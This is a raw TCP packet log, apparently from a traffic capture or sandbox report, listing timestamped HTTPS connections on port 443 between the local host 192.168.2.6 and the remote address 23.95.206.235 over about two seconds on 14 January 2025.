Jan 14, 2025 15:56:20.680743933 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.680757046 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.680802107 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.680831909 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.683758974 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.683778048 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.683857918 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.683887959 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.683902979 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.683932066 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.684180021 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.684195042 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.684242964 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.684252024 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.684290886 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.684760094 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.684775114 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.684823990 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.684832096 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.684874058 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.685188055 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.685204029 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.685262918 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.685270071 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.685309887 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.688674927 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.688693047 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.688755035 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.688762903 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.688824892 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.689135075 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.689152002 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.689210892 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.689217091 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.689260006 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.689260006 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.689712048 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.689730883 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.689774036 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.689779043 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.689816952 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.689822912 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.698944092 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.698965073 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.699027061 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.699033976 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.699074030 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.755047083 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.756217957 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.756264925 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.756323099 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.756340981 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.756371021 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.771441936 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771460056 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771539927 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.771543980 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771555901 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771588087 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771600008 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.771615028 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771646023 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.771665096 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771677971 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.771682024 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771692991 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771718025 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.771764040 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.771783113 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771797895 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771852016 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.771859884 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771903992 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.771967888 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.771982908 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.772031069 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.772038937 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.772082090 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.772228956 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.772252083 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.772301912 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.772303104 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.772315025 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.772337914 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.772366047 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.772372961 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.772401094 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.772423029 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.785612106 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.785626888 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.785700083 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.785707951 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.785748959 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.807787895 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.841103077 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.841141939 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.841188908 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.841259003 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.841285944 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.841304064 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.841311932 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.841330051 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.841335058 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.841382027 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.841888905 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.841942072 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.841960907 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.841967106 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.842005014 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.842098951 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.842152119 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.842467070 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.842482090 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.846950054 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.846980095 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.847060919 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.847425938 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.847446918 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.857325077 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.857347012 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.857445955 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.857461929 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.857510090 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.857803106 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.857819080 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.857876062 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.857887030 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.857924938 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.858499050 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858513117 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858575106 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.858583927 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858628035 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.858669996 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858684063 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858735085 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.858742952 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858781099 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.858788013 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858799934 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858823061 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858839035 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.858846903 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858879089 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.858896017 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.858906984 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858942032 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.858978033 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.860163927 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.860177994 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.924585104 CET	50008	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.924660921 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.924773932 CET	50008	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.925445080 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.925482988 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.925564051 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.926227093 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.926249981 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.926326990 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.926652908 CET	50008	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.926692009 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.927130938 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.927145004 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.927248955 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.927284002 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.320588112 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.320960045 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.320976019 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.321274996 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.321644068 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.321715117 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.321841955 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.321876049 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.400316000 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.400724888 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.400753021 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.401118994 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.401583910 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.401659966 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.401688099 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.401714087 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.409272909 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.409653902 CET	50008	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.409709930 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.410131931 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.410490990 CET	50008	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.410572052 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.410691023 CET	50008	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.410737991 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.442255974 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.443823099 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.443845987 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.444911957 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.445015907 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.449595928 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.449675083 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.450107098 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.450139999 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.451441050 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.497941971 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.633013010 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.633043051 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.633053064 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.633079052 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.633107901 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.633131981 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.633152008 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.633173943 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.633198023 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.642734051 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.642760992 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.642808914 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.642874002 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.642889023 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.642936945 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.691442966 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.691515923 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.691531897 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.691545963 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.691602945 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.692806959 CET	50009	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.692837000 CET	443	50009	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.698396921 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.698451042 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.698519945 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.698544979 CET	50008	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.698575974 CET	50008	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.707633972 CET	50008	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.707648039 CET	443	50008	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.710414886 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.710439920 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.710500956 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.710997105 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.711013079 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.717341900 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.718904972 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.718921900 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.718976021 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.719003916 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.719036102 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.754165888 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.754204035 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.754275084 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.754547119 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.754559040 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.757878065 CET	50018	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.757895947 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.757952929 CET	50018	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.758157015 CET	50018	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.758183956 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.760698080 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.765975952 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.765990973 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.766072035 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.766269922 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.766282082 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.766710997 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.766740084 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.766797066 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.766983032 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.766997099 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.782912970 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.782937050 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.783015013 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.783044100 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.784208059 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.784250021 CET	443	50010	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.784320116 CET	50010	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.806864023 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.806884050 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.806976080 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.807014942 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.807054996 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.807074070 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.807074070 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.807074070 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.807089090 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.807132006 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.831793070 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.831836939 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.831908941 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.832148075 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.832156897 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:21.833429098 CET	50005	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:21.833450079 CET	443	50005	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.193216085 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.193736076 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.193766117 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.194817066 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.194875956 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.196022987 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.196098089 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.196369886 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.196388960 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.234692097 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.235795975 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.235829115 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.236221075 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.236881971 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.236952066 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.237123966 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.237150908 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.249289036 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.256772041 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.257128954 CET	50018	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.257144928 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.257234097 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.257520914 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.257546902 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.257556915 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.257960081 CET	50018	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.258027077 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.258191109 CET	50018	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.258222103 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.258594036 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.258651018 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.259073019 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.259135008 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.259236097 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.259248018 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.263622999 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.265439987 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.265455008 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.265778065 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.266299963 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.266360044 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.266477108 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.266504049 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.310781956 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.312562943 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.313230038 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.313240051 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.314292908 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.314384937 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.314865112 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.314929008 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.315092087 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.315102100 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.356877089 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.469153881 CET	443	50017	23.95.206.235	192.168.2.6
